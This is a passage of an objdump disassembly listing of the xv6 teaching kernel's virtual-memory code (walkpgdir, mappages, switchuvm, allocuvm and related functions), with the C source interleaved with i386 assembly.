8010638c: 66 90 xchg %ax,%ax
8010638e: 66 90 xchg %ax,%ax
80106390 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106390: 55 push %ebp
80106391: 89 e5 mov %esp,%ebp
80106393: 57 push %edi
80106394: 56 push %esi
80106395: 89 d6 mov %edx,%esi
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80106397: c1 ea 16 shr $0x16,%edx
{
8010639a: 53 push %ebx
pde = &pgdir[PDX(va)];
8010639b: 8d 3c 90 lea (%eax,%edx,4),%edi
{
8010639e: 83 ec 1c sub $0x1c,%esp
if(*pde & PTE_P){
801063a1: 8b 1f mov (%edi),%ebx
801063a3: f6 c3 01 test $0x1,%bl
801063a6: 74 28 je 801063d0 <walkpgdir+0x40>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
801063a8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
801063ae: 81 c3 00 00 00 80 add $0x80000000,%ebx
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
801063b4: c1 ee 0a shr $0xa,%esi
}
801063b7: 83 c4 1c add $0x1c,%esp
return &pgtab[PTX(va)];
801063ba: 89 f2 mov %esi,%edx
801063bc: 81 e2 fc 0f 00 00 and $0xffc,%edx
801063c2: 8d 04 13 lea (%ebx,%edx,1),%eax
}
801063c5: 5b pop %ebx
801063c6: 5e pop %esi
801063c7: 5f pop %edi
801063c8: 5d pop %ebp
801063c9: c3 ret
801063ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
801063d0: 85 c9 test %ecx,%ecx
801063d2: 74 34 je 80106408 <walkpgdir+0x78>
801063d4: e8 a7 c0 ff ff call 80102480 <kalloc>
801063d9: 85 c0 test %eax,%eax
801063db: 89 c3 mov %eax,%ebx
801063dd: 74 29 je 80106408 <walkpgdir+0x78>
memset(pgtab, 0, PGSIZE);
801063df: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801063e6: 00
801063e7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801063ee: 00
801063ef: 89 04 24 mov %eax,(%esp)
801063f2: e8 69 de ff ff call 80104260 <memset>
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
801063f7: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801063fd: 83 c8 07 or $0x7,%eax
80106400: 89 07 mov %eax,(%edi)
80106402: eb b0 jmp 801063b4 <walkpgdir+0x24>
80106404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
80106408: 83 c4 1c add $0x1c,%esp
return 0;
8010640b: 31 c0 xor %eax,%eax
}
8010640d: 5b pop %ebx
8010640e: 5e pop %esi
8010640f: 5f pop %edi
80106410: 5d pop %ebp
80106411: c3 ret
80106412: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106420 <deallocuvm.part.0>:
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106420: 55 push %ebp
80106421: 89 e5 mov %esp,%ebp
80106423: 57 push %edi
80106424: 89 c7 mov %eax,%edi
80106426: 56 push %esi
80106427: 89 d6 mov %edx,%esi
80106429: 53 push %ebx
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
8010642a: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106430: 83 ec 1c sub $0x1c,%esp
a = PGROUNDUP(newsz);
80106433: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106439: 39 d3 cmp %edx,%ebx
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
8010643b: 89 4d e0 mov %ecx,-0x20(%ebp)
for(; a < oldsz; a += PGSIZE){
8010643e: 72 3b jb 8010647b <deallocuvm.part.0+0x5b>
80106440: eb 5e jmp 801064a0 <deallocuvm.part.0+0x80>
80106442: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
80106448: 8b 10 mov (%eax),%edx
8010644a: f6 c2 01 test $0x1,%dl
8010644d: 74 22 je 80106471 <deallocuvm.part.0+0x51>
pa = PTE_ADDR(*pte);
if(pa == 0)
8010644f: 81 e2 00 f0 ff ff and $0xfffff000,%edx
80106455: 74 54 je 801064ab <deallocuvm.part.0+0x8b>
panic("kfree");
char *v = P2V(pa);
80106457: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
8010645d: 89 14 24 mov %edx,(%esp)
80106460: 89 45 e4 mov %eax,-0x1c(%ebp)
80106463: e8 68 be ff ff call 801022d0 <kfree>
*pte = 0;
80106468: 8b 45 e4 mov -0x1c(%ebp),%eax
8010646b: c7 00 00 00 00 00 movl $0x0,(%eax)
for(; a < oldsz; a += PGSIZE){
80106471: 81 c3 00 10 00 00 add $0x1000,%ebx
80106477: 39 f3 cmp %esi,%ebx
80106479: 73 25 jae 801064a0 <deallocuvm.part.0+0x80>
pte = walkpgdir(pgdir, (char*)a, 0);
8010647b: 31 c9 xor %ecx,%ecx
8010647d: 89 da mov %ebx,%edx
8010647f: 89 f8 mov %edi,%eax
80106481: e8 0a ff ff ff call 80106390 <walkpgdir>
if(!pte)
80106486: 85 c0 test %eax,%eax
80106488: 75 be jne 80106448 <deallocuvm.part.0+0x28>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
8010648a: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
80106490: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106496: 81 c3 00 10 00 00 add $0x1000,%ebx
8010649c: 39 f3 cmp %esi,%ebx
8010649e: 72 db jb 8010647b <deallocuvm.part.0+0x5b>
}
}
return newsz;
}
801064a0: 8b 45 e0 mov -0x20(%ebp),%eax
801064a3: 83 c4 1c add $0x1c,%esp
801064a6: 5b pop %ebx
801064a7: 5e pop %esi
801064a8: 5f pop %edi
801064a9: 5d pop %ebp
801064aa: c3 ret
panic("kfree");
801064ab: c7 04 24 66 70 10 80 movl $0x80107066,(%esp)
801064b2: e8 a9 9e ff ff call 80100360 <panic>
801064b7: 89 f6 mov %esi,%esi
801064b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801064c0 <seginit>:
{
801064c0: 55 push %ebp
801064c1: 89 e5 mov %esp,%ebp
801064c3: 83 ec 18 sub $0x18,%esp
c = &cpus[cpuid()];
801064c6: e8 95 d1 ff ff call 80103660 <cpuid>
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801064cb: 31 c9 xor %ecx,%ecx
801064cd: ba ff ff ff ff mov $0xffffffff,%edx
c = &cpus[cpuid()];
801064d2: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
801064d8: 05 80 27 11 80 add $0x80112780,%eax
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801064dd: 66 89 50 78 mov %dx,0x78(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801064e1: ba ff ff ff ff mov $0xffffffff,%edx
lgdt(c->gdt, sizeof(c->gdt));
801064e6: 83 c0 70 add $0x70,%eax
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801064e9: 66 89 48 0a mov %cx,0xa(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801064ed: 31 c9 xor %ecx,%ecx
801064ef: 66 89 50 10 mov %dx,0x10(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801064f3: ba ff ff ff ff mov $0xffffffff,%edx
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801064f8: 66 89 48 12 mov %cx,0x12(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801064fc: 31 c9 xor %ecx,%ecx
801064fe: 66 89 50 18 mov %dx,0x18(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106502: ba ff ff ff ff mov $0xffffffff,%edx
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106507: 66 89 48 1a mov %cx,0x1a(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
8010650b: 31 c9 xor %ecx,%ecx
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
8010650d: c6 40 0d 9a movb $0x9a,0xd(%eax)
80106511: c6 40 0e cf movb $0xcf,0xe(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106515: c6 40 15 92 movb $0x92,0x15(%eax)
80106519: c6 40 16 cf movb $0xcf,0x16(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010651d: c6 40 1d fa movb $0xfa,0x1d(%eax)
80106521: c6 40 1e cf movb $0xcf,0x1e(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106525: c6 40 25 f2 movb $0xf2,0x25(%eax)
80106529: c6 40 26 cf movb $0xcf,0x26(%eax)
8010652d: 66 89 50 20 mov %dx,0x20(%eax)
pd[0] = size-1;
80106531: ba 2f 00 00 00 mov $0x2f,%edx
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106536: c6 40 0c 00 movb $0x0,0xc(%eax)
8010653a: c6 40 0f 00 movb $0x0,0xf(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
8010653e: c6 40 14 00 movb $0x0,0x14(%eax)
80106542: c6 40 17 00 movb $0x0,0x17(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106546: c6 40 1c 00 movb $0x0,0x1c(%eax)
8010654a: c6 40 1f 00 movb $0x0,0x1f(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
8010654e: 66 89 48 22 mov %cx,0x22(%eax)
80106552: c6 40 24 00 movb $0x0,0x24(%eax)
80106556: c6 40 27 00 movb $0x0,0x27(%eax)
8010655a: 66 89 55 f2 mov %dx,-0xe(%ebp)
pd[1] = (uint)p;
8010655e: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
80106562: c1 e8 10 shr $0x10,%eax
80106565: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80106569: 8d 45 f2 lea -0xe(%ebp),%eax
8010656c: 0f 01 10 lgdtl (%eax)
}
8010656f: c9 leave
80106570: c3 ret
80106571: eb 0d jmp 80106580 <mappages>
80106573: 90 nop
80106574: 90 nop
80106575: 90 nop
80106576: 90 nop
80106577: 90 nop
80106578: 90 nop
80106579: 90 nop
8010657a: 90 nop
8010657b: 90 nop
8010657c: 90 nop
8010657d: 90 nop
8010657e: 90 nop
8010657f: 90 nop
80106580 <mappages>:
{
80106580: 55 push %ebp
80106581: 89 e5 mov %esp,%ebp
80106583: 57 push %edi
80106584: 56 push %esi
80106585: 53 push %ebx
80106586: 83 ec 1c sub $0x1c,%esp
80106589: 8b 45 0c mov 0xc(%ebp),%eax
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
8010658c: 8b 55 10 mov 0x10(%ebp),%edx
{
8010658f: 8b 7d 14 mov 0x14(%ebp),%edi
*pte = pa | perm | PTE_P;
80106592: 83 4d 18 01 orl $0x1,0x18(%ebp)
a = (char*)PGROUNDDOWN((uint)va);
80106596: 89 c3 mov %eax,%ebx
80106598: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
8010659e: 8d 44 10 ff lea -0x1(%eax,%edx,1),%eax
801065a2: 29 df sub %ebx,%edi
801065a4: 89 45 e4 mov %eax,-0x1c(%ebp)
801065a7: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp)
801065ae: eb 15 jmp 801065c5 <mappages+0x45>
if(*pte & PTE_P)
801065b0: f6 00 01 testb $0x1,(%eax)
801065b3: 75 3d jne 801065f2 <mappages+0x72>
*pte = pa | perm | PTE_P;
801065b5: 0b 75 18 or 0x18(%ebp),%esi
if(a == last)
801065b8: 3b 5d e4 cmp -0x1c(%ebp),%ebx
*pte = pa | perm | PTE_P;
801065bb: 89 30 mov %esi,(%eax)
if(a == last)
801065bd: 74 29 je 801065e8 <mappages+0x68>
a += PGSIZE;
801065bf: 81 c3 00 10 00 00 add $0x1000,%ebx
if((pte = walkpgdir(pgdir, a, 1)) == 0)
801065c5: 8b 45 08 mov 0x8(%ebp),%eax
801065c8: b9 01 00 00 00 mov $0x1,%ecx
801065cd: 89 da mov %ebx,%edx
801065cf: 8d 34 3b lea (%ebx,%edi,1),%esi
801065d2: e8 b9 fd ff ff call 80106390 <walkpgdir>
801065d7: 85 c0 test %eax,%eax
801065d9: 75 d5 jne 801065b0 <mappages+0x30>
}
801065db: 83 c4 1c add $0x1c,%esp
return -1;
801065de: b8 ff ff ff ff mov $0xffffffff,%eax
}
801065e3: 5b pop %ebx
801065e4: 5e pop %esi
801065e5: 5f pop %edi
801065e6: 5d pop %ebp
801065e7: c3 ret
801065e8: 83 c4 1c add $0x1c,%esp
return 0;
801065eb: 31 c0 xor %eax,%eax
}
801065ed: 5b pop %ebx
801065ee: 5e pop %esi
801065ef: 5f pop %edi
801065f0: 5d pop %ebp
801065f1: c3 ret
panic("remap");
801065f2: c7 04 24 2c 77 10 80 movl $0x8010772c,(%esp)
801065f9: e8 62 9d ff ff call 80100360 <panic>
801065fe: 66 90 xchg %ax,%ax
80106600 <switchkvm>:
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106600: a1 a4 55 11 80 mov 0x801155a4,%eax
{
80106605: 55 push %ebp
80106606: 89 e5 mov %esp,%ebp
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106608: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
8010660d: 0f 22 d8 mov %eax,%cr3
}
80106610: 5d pop %ebp
80106611: c3 ret
80106612: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106620 <switchuvm>:
{
80106620: 55 push %ebp
80106621: 89 e5 mov %esp,%ebp
80106623: 57 push %edi
80106624: 56 push %esi
80106625: 53 push %ebx
80106626: 83 ec 1c sub $0x1c,%esp
80106629: 8b 75 08 mov 0x8(%ebp),%esi
if(p == 0)
8010662c: 85 f6 test %esi,%esi
8010662e: 0f 84 cd 00 00 00 je 80106701 <switchuvm+0xe1>
if(p->kstack == 0)
80106634: 8b 46 08 mov 0x8(%esi),%eax
80106637: 85 c0 test %eax,%eax
80106639: 0f 84 da 00 00 00 je 80106719 <switchuvm+0xf9>
if(p->pgdir == 0)
8010663f: 8b 7e 04 mov 0x4(%esi),%edi
80106642: 85 ff test %edi,%edi
80106644: 0f 84 c3 00 00 00 je 8010670d <switchuvm+0xed>
pushcli();
8010664a: e8 91 da ff ff call 801040e0 <pushcli>
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
8010664f: e8 8c cf ff ff call 801035e0 <mycpu>
80106654: 89 c3 mov %eax,%ebx
80106656: e8 85 cf ff ff call 801035e0 <mycpu>
8010665b: 89 c7 mov %eax,%edi
8010665d: e8 7e cf ff ff call 801035e0 <mycpu>
80106662: 83 c7 08 add $0x8,%edi
80106665: 89 45 e4 mov %eax,-0x1c(%ebp)
80106668: e8 73 cf ff ff call 801035e0 <mycpu>
8010666d: 8b 4d e4 mov -0x1c(%ebp),%ecx
80106670: ba 67 00 00 00 mov $0x67,%edx
80106675: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx)
8010667c: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx)
80106683: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx)
8010668a: 83 c1 08 add $0x8,%ecx
8010668d: c1 e9 10 shr $0x10,%ecx
80106690: 83 c0 08 add $0x8,%eax
80106693: c1 e8 18 shr $0x18,%eax
80106696: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx)
8010669c: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx)
801066a3: 88 83 9f 00 00 00 mov %al,0x9f(%ebx)
mycpu()->ts.iomb = (ushort) 0xFFFF;
801066a9: bb ff ff ff ff mov $0xffffffff,%ebx
mycpu()->gdt[SEG_TSS].s = 0;
801066ae: e8 2d cf ff ff call 801035e0 <mycpu>
801066b3: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax)
mycpu()->ts.ss0 = SEG_KDATA << 3;
801066ba: e8 21 cf ff ff call 801035e0 <mycpu>
801066bf: b9 10 00 00 00 mov $0x10,%ecx
801066c4: 66 89 48 10 mov %cx,0x10(%eax)
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
801066c8: e8 13 cf ff ff call 801035e0 <mycpu>
801066cd: 8b 56 08 mov 0x8(%esi),%edx
801066d0: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx
801066d6: 89 48 0c mov %ecx,0xc(%eax)
mycpu()->ts.iomb = (ushort) 0xFFFF;
801066d9: e8 02 cf ff ff call 801035e0 <mycpu>
801066de: 66 89 58 6e mov %bx,0x6e(%eax)
asm volatile("ltr %0" : : "r" (sel));
801066e2: b8 28 00 00 00 mov $0x28,%eax
801066e7: 0f 00 d8 ltr %ax
lcr3(V2P(p->pgdir)); // switch to process's address space
801066ea: 8b 46 04 mov 0x4(%esi),%eax
801066ed: 05 00 00 00 80 add $0x80000000,%eax
asm volatile("movl %0,%%cr3" : : "r" (val));
801066f2: 0f 22 d8 mov %eax,%cr3
}
801066f5: 83 c4 1c add $0x1c,%esp
801066f8: 5b pop %ebx
801066f9: 5e pop %esi
801066fa: 5f pop %edi
801066fb: 5d pop %ebp
popcli();
801066fc: e9 9f da ff ff jmp 801041a0 <popcli>
panic("switchuvm: no process");
80106701: c7 04 24 32 77 10 80 movl $0x80107732,(%esp)
80106708: e8 53 9c ff ff call 80100360 <panic>
panic("switchuvm: no pgdir");
8010670d: c7 04 24 5d 77 10 80 movl $0x8010775d,(%esp)
80106714: e8 47 9c ff ff call 80100360 <panic>
panic("switchuvm: no kstack");
80106719: c7 04 24 48 77 10 80 movl $0x80107748,(%esp)
80106720: e8 3b 9c ff ff call 80100360 <panic>
80106725: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106730 <inituvm>:
{
80106730: 55 push %ebp
80106731: 89 e5 mov %esp,%ebp
80106733: 57 push %edi
80106734: 56 push %esi
80106735: 53 push %ebx
80106736: 83 ec 2c sub $0x2c,%esp
80106739: 8b 75 10 mov 0x10(%ebp),%esi
8010673c: 8b 55 08 mov 0x8(%ebp),%edx
8010673f: 8b 7d 0c mov 0xc(%ebp),%edi
if(sz >= PGSIZE)
80106742: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106748: 77 64 ja 801067ae <inituvm+0x7e>
8010674a: 89 55 e4 mov %edx,-0x1c(%ebp)
mem = kalloc();
8010674d: e8 2e bd ff ff call 80102480 <kalloc>
memset(mem, 0, PGSIZE);
80106752: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106759: 00
8010675a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106761: 00
80106762: 89 04 24 mov %eax,(%esp)
mem = kalloc();
80106765: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
80106767: e8 f4 da ff ff call 80104260 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
8010676c: 8b 55 e4 mov -0x1c(%ebp),%edx
8010676f: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106775: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
8010677c: 00
8010677d: 89 44 24 0c mov %eax,0xc(%esp)
80106781: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106788: 00
80106789: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106790: 00
80106791: 89 14 24 mov %edx,(%esp)
80106794: e8 e7 fd ff ff call 80106580 <mappages>
memmove(mem, init, sz);
80106799: 89 75 10 mov %esi,0x10(%ebp)
8010679c: 89 7d 0c mov %edi,0xc(%ebp)
8010679f: 89 5d 08 mov %ebx,0x8(%ebp)
}
801067a2: 83 c4 2c add $0x2c,%esp
801067a5: 5b pop %ebx
801067a6: 5e pop %esi
801067a7: 5f pop %edi
801067a8: 5d pop %ebp
memmove(mem, init, sz);
801067a9: e9 52 db ff ff jmp 80104300 <memmove>
panic("inituvm: more than a page");
801067ae: c7 04 24 71 77 10 80 movl $0x80107771,(%esp)
801067b5: e8 a6 9b ff ff call 80100360 <panic>
801067ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801067c0 <loaduvm>:
{
801067c0: 55 push %ebp
801067c1: 89 e5 mov %esp,%ebp
801067c3: 57 push %edi
801067c4: 56 push %esi
801067c5: 53 push %ebx
801067c6: 83 ec 1c sub $0x1c,%esp
if((uint) addr % PGSIZE != 0)
801067c9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
801067d0: 0f 85 98 00 00 00 jne 8010686e <loaduvm+0xae>
for(i = 0; i < sz; i += PGSIZE){
801067d6: 8b 75 18 mov 0x18(%ebp),%esi
801067d9: 31 db xor %ebx,%ebx
801067db: 85 f6 test %esi,%esi
801067dd: 75 1a jne 801067f9 <loaduvm+0x39>
801067df: eb 77 jmp 80106858 <loaduvm+0x98>
801067e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801067e8: 81 c3 00 10 00 00 add $0x1000,%ebx
801067ee: 81 ee 00 10 00 00 sub $0x1000,%esi
801067f4: 39 5d 18 cmp %ebx,0x18(%ebp)
801067f7: 76 5f jbe 80106858 <loaduvm+0x98>
801067f9: 8b 55 0c mov 0xc(%ebp),%edx
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
801067fc: 31 c9 xor %ecx,%ecx
801067fe: 8b 45 08 mov 0x8(%ebp),%eax
80106801: 01 da add %ebx,%edx
80106803: e8 88 fb ff ff call 80106390 <walkpgdir>
80106808: 85 c0 test %eax,%eax
8010680a: 74 56 je 80106862 <loaduvm+0xa2>
pa = PTE_ADDR(*pte);
8010680c: 8b 00 mov (%eax),%eax
n = PGSIZE;
8010680e: bf 00 10 00 00 mov $0x1000,%edi
80106813: 8b 4d 14 mov 0x14(%ebp),%ecx
pa = PTE_ADDR(*pte);
80106816: 25 00 f0 ff ff and $0xfffff000,%eax
n = PGSIZE;
8010681b: 81 fe 00 10 00 00 cmp $0x1000,%esi
80106821: 0f 42 fe cmovb %esi,%edi
if(readi(ip, P2V(pa), offset+i, n) != n)
80106824: 05 00 00 00 80 add $0x80000000,%eax
80106829: 89 44 24 04 mov %eax,0x4(%esp)
8010682d: 8b 45 10 mov 0x10(%ebp),%eax
80106830: 01 d9 add %ebx,%ecx
80106832: 89 7c 24 0c mov %edi,0xc(%esp)
80106836: 89 4c 24 08 mov %ecx,0x8(%esp)
8010683a: 89 04 24 mov %eax,(%esp)
8010683d: e8 fe b0 ff ff call 80101940 <readi>
80106842: 39 f8 cmp %edi,%eax
80106844: 74 a2 je 801067e8 <loaduvm+0x28>
}
80106846: 83 c4 1c add $0x1c,%esp
return -1;
80106849: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010684e: 5b pop %ebx
8010684f: 5e pop %esi
80106850: 5f pop %edi
80106851: 5d pop %ebp
80106852: c3 ret
80106853: 90 nop
80106854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106858: 83 c4 1c add $0x1c,%esp
return 0;
8010685b: 31 c0 xor %eax,%eax
}
8010685d: 5b pop %ebx
8010685e: 5e pop %esi
8010685f: 5f pop %edi
80106860: 5d pop %ebp
80106861: c3 ret
panic("loaduvm: address should exist");
80106862: c7 04 24 8b 77 10 80 movl $0x8010778b,(%esp)
80106869: e8 f2 9a ff ff call 80100360 <panic>
panic("loaduvm: addr must be page aligned");
8010686e: c7 04 24 2c 78 10 80 movl $0x8010782c,(%esp)
80106875: e8 e6 9a ff ff call 80100360 <panic>
8010687a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106880 <allocuvm>:
{
80106880: 55 push %ebp
80106881: 89 e5 mov %esp,%ebp
80106883: 57 push %edi
80106884: 56 push %esi
80106885: 53 push %ebx
80106886: 83 ec 2c sub $0x2c,%esp
80106889: 8b 7d 10 mov 0x10(%ebp),%edi
if(newsz >= KERNBASE)
8010688c: 85 ff test %edi,%edi
8010688e: 0f 88 8f 00 00 00 js 80106923 <allocuvm+0xa3>
if(newsz < oldsz)
80106894: 3b 7d 0c cmp 0xc(%ebp),%edi
return oldsz;
80106897: 8b 45 0c mov 0xc(%ebp),%eax
if(newsz < oldsz)
8010689a: 0f 82 85 00 00 00 jb 80106925 <allocuvm+0xa5>
a = PGROUNDUP(oldsz);
801068a0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
801068a6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < newsz; a += PGSIZE){
801068ac: 39 df cmp %ebx,%edi
801068ae: 77 57 ja 80106907 <allocuvm+0x87>
801068b0: eb 7e jmp 80106930 <allocuvm+0xb0>
801068b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
memset(mem, 0, PGSIZE);
801068b8: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801068bf: 00
801068c0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801068c7: 00
801068c8: 89 04 24 mov %eax,(%esp)
801068cb: e8 90 d9 ff ff call 80104260 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
801068d0: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
801068d6: 89 44 24 0c mov %eax,0xc(%esp)
801068da: 8b 45 08 mov 0x8(%ebp),%eax
801068dd: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
801068e4: 00
801068e5: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801068ec: 00
801068ed: 89 5c 24 04 mov %ebx,0x4(%esp)
801068f1: 89 04 24 mov %eax,(%esp)
801068f4: e8 87 fc ff ff call 80106580 <mappages>
801068f9: 85 c0 test %eax,%eax
801068fb: 78 43 js 80106940 <allocuvm+0xc0>
for(; a < newsz; a += PGSIZE){
801068fd: 81 c3 00 10 00 00 add $0x1000,%ebx
80106903: 39 df cmp %ebx,%edi
80106905: 76 29 jbe 80106930 <allocuvm+0xb0>
mem = kalloc();
80106907: e8 74 bb ff ff call 80102480 <kalloc>
if(mem == 0){
8010690c: 85 c0 test %eax,%eax
mem = kalloc();
8010690e: 89 c6 mov %eax,%esi
if(mem == 0){
80106910: 75 a6 jne 801068b8 <allocuvm+0x38>
cprintf("allocuvm out of memory\n");
80106912: c7 04 24 a9 77 10 80 movl $0x801077a9,(%esp)
80106919: e8 32 9d ff ff call 80100650 <cprintf>
if(newsz >= oldsz)
8010691e: 3b 7d 0c cmp 0xc(%ebp),%edi
80106921: 77 47 ja 8010696a <allocuvm+0xea>
return 0;
80106923: 31 c0 xor %eax,%eax
}
80106925: 83 c4 2c add $0x2c,%esp
80106928: 5b pop %ebx
80106929: 5e pop %esi
8010692a: 5f pop %edi
8010692b: 5d pop %ebp
8010692c: c3 ret
8010692d: 8d 76 00 lea 0x0(%esi),%esi
80106930: 83 c4 2c add $0x2c,%esp
80106933: 89 f8 mov %edi,%eax
80106935: 5b pop %ebx
80106936: 5e pop %esi
80106937: 5f pop %edi
80106938: 5d pop %ebp
80106939: c3 ret
8010693a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cprintf("allocuvm out of memory (2)\n");
80106940: c7 04 24 c1 77 10 80 movl $0x801077c1,(%esp)
80106947: e8 04 9d ff ff call 80100650 <cprintf>
if(newsz >= oldsz)
8010694c: 3b 7d 0c cmp 0xc(%ebp),%edi
8010694f: 76 0d jbe 8010695e <allocuvm+0xde>
80106951: 8b 4d 0c mov 0xc(%ebp),%ecx
80106954: 89 fa mov %edi,%edx
80106956: 8b 45 08 mov 0x8(%ebp),%eax
80106959: e8 c2 fa ff ff call 80106420 <deallocuvm.part.0>
kfree(mem);
8010695e: 89 34 24 mov %esi,(%esp)
80106961: e8 6a b9 ff ff call 801022d0 <kfree>
return 0;
80106966: 31 c0 xor %eax,%eax
80106968: eb bb jmp 80106925 <allocuvm+0xa5>
8010696a: 8b 4d 0c mov 0xc(%ebp),%ecx
8010696d: 89 fa mov %edi,%edx
